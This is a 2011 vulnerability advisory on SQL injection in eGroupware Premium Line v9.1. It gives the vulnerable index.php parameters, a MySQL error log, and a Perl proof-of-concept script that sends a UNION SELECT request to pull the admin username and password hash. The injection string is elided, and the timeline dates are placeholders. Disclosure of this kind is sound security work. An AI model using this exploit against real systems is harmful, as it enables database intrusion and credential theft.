eGroupware Premium Line v9.1 - SQL Injection Vulnerability

Document Title:
===============
eGroupware Premium Line v9.1 - SQL Injection Vulnerability



Release Date:
=============
2011-07-17


Vulnerability Laboratory ID (VL-ID):
====================================
81


Product & Service Introduction:
===============================
EPL is the professional choice to install EGroupware to your own server. The EGroupware Premium Line contains Stylite actual 
EGroupware enhancements, a software maintenance agreement and highly attractive hourly rates for further support services.

    * Install EGroupware in one single step with all needed components e.g. data base, PHP and web server by using EPL s ready-to-go RPM and Debian repositories.
    * Get automatic software updates, including bug-fixes and security releases.
    * Enjoy brand new Stylite features, which are not available publicly in the community edition of EGroupware.
    * EPL individual installation packages

	Task Management: InfoLog
	Team Calendar
	Content Management
	E-Mail
	Tracking-System
	File-Manager
	Project-Management
	Wiki
	Knowledge Management
	Time-Sheet
	News, Pools  ....


(Copy of the Vendor Homepage: http://www.stylite.de/egroupware_functions)


Abstract Advisory Information:
==============================
Vulnerability-Lab Team discovered a SQL-Injection Vulnerability on the eGroupware Premium Line.


Vulnerability Disclosure Timeline:
==================================
2011-00-00:	Vendor Notification
2011-00-00:	Vendor Response/Feedback
2011-00-00:	Vendor Fix/Patch
2011-00-00:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
Multiple SQL vulnerabilities are detected in EPL. The vulnerability allows an attacker to inject own sql statements on the 
vulnerable application database.

Vulnerable Module:

			Path:	../epl/
			File:	index.php
			Para:	?menuaction=phpgwapi.uiaccountsel.popup&app=calendar&use=both&group_id=

--- Error Logs --- 
Invalid SQL: SELECT egw_addressbook.contact_id,n_given,n_family,contact_email,contact_id,contact_created,contact_modified,
egw_accounts.account_id AS account_id,account_lid,account_type,account_status FROM egw_addressbook  RIGHT JOIN egw_accounts ON egw_accounts.
account_id=egw_addressbook.account_id WHERE contact_private=0 AND egw_addressbook.contact_owner=0 AND (account_lid LIKE h% OR n_family 
LIKE  h%  OR n_given LIKE  h%  OR contact_email LIKE  h% ) ORDER BY  ASC: You have an error in your SQL syntax; check the manual that 
corresponds to your MySQL server version for the right syntax to use near  ASC  at line 1


Pictures:
		                    ../sql1.png


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers. For demonstration or reproduce ...

#!/usr/bin/perl

use IO::Socket;
if(@ARGV < 1){
print "
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
>  Remote SQL-Injection Exploit
>  =-=-=-=-=-=-=-=-=-=-=-=-=-=-
>  APPLICATION: http://www.stylite.de/EPL
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
";
exit();
}
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "index.php?menuaction=phpgwapi.uiaccountsel.popup&app=calendar&use=both&group_id=-22084&element_id=eT_accountsel_exec_participants_account_&multiple=1&query_type=start&query=h&sort=ASC&order=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "[+] Exploit Failed\n";
exit();
}

if ($dir =~ /\//){}
else {
print "[+] Exploit Failed\n";
exit();
 }

print "User <ID>    : ";
$ID = <STDIN>;
chop ($ID);

if ($ID =~ /exit/){
print "[+] Exploit Failed\n";
exit();
}

$len=length($ID);

if ($len == 1){}
else {
print "[+] Exploit Failed\n";
exit();
 }

$target = "-1+union+select+1,2,3,4,.........   ".$ID;
$target = $host.$dir.$file.$target;

print "[+] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n";
print "[+] Verbinden zu ... [> : $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "[+] Verbindungsaufbau fehlgeschlagen...!\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "[+] Connected!...\n";
while($answer = <$socket>) {
if ($answer =~ /color=\"#FF0000\">(.*?)<\/font>/){
print "[+] Exploiting the System! Grab Admin-HASH\n";
print "[+] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n";
print "[+] Clear Username: $1\n";
}

if ($answer =~ /<font size=\"4\"><b>(.*?)<br>/){
print "[+] Encrypted Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "[+] SYNTAX ERROR! Request: [email protected]";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "[+] INTERNEL ERROR! Check out your Ressources";
exit(); 
}
break;
}
close($sock);


Security Risk:
==============
The security risk of the sql vulnerability is estimated as high.


Credits & Authors:
==================
Vulnerability Research Laboratory


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=========================
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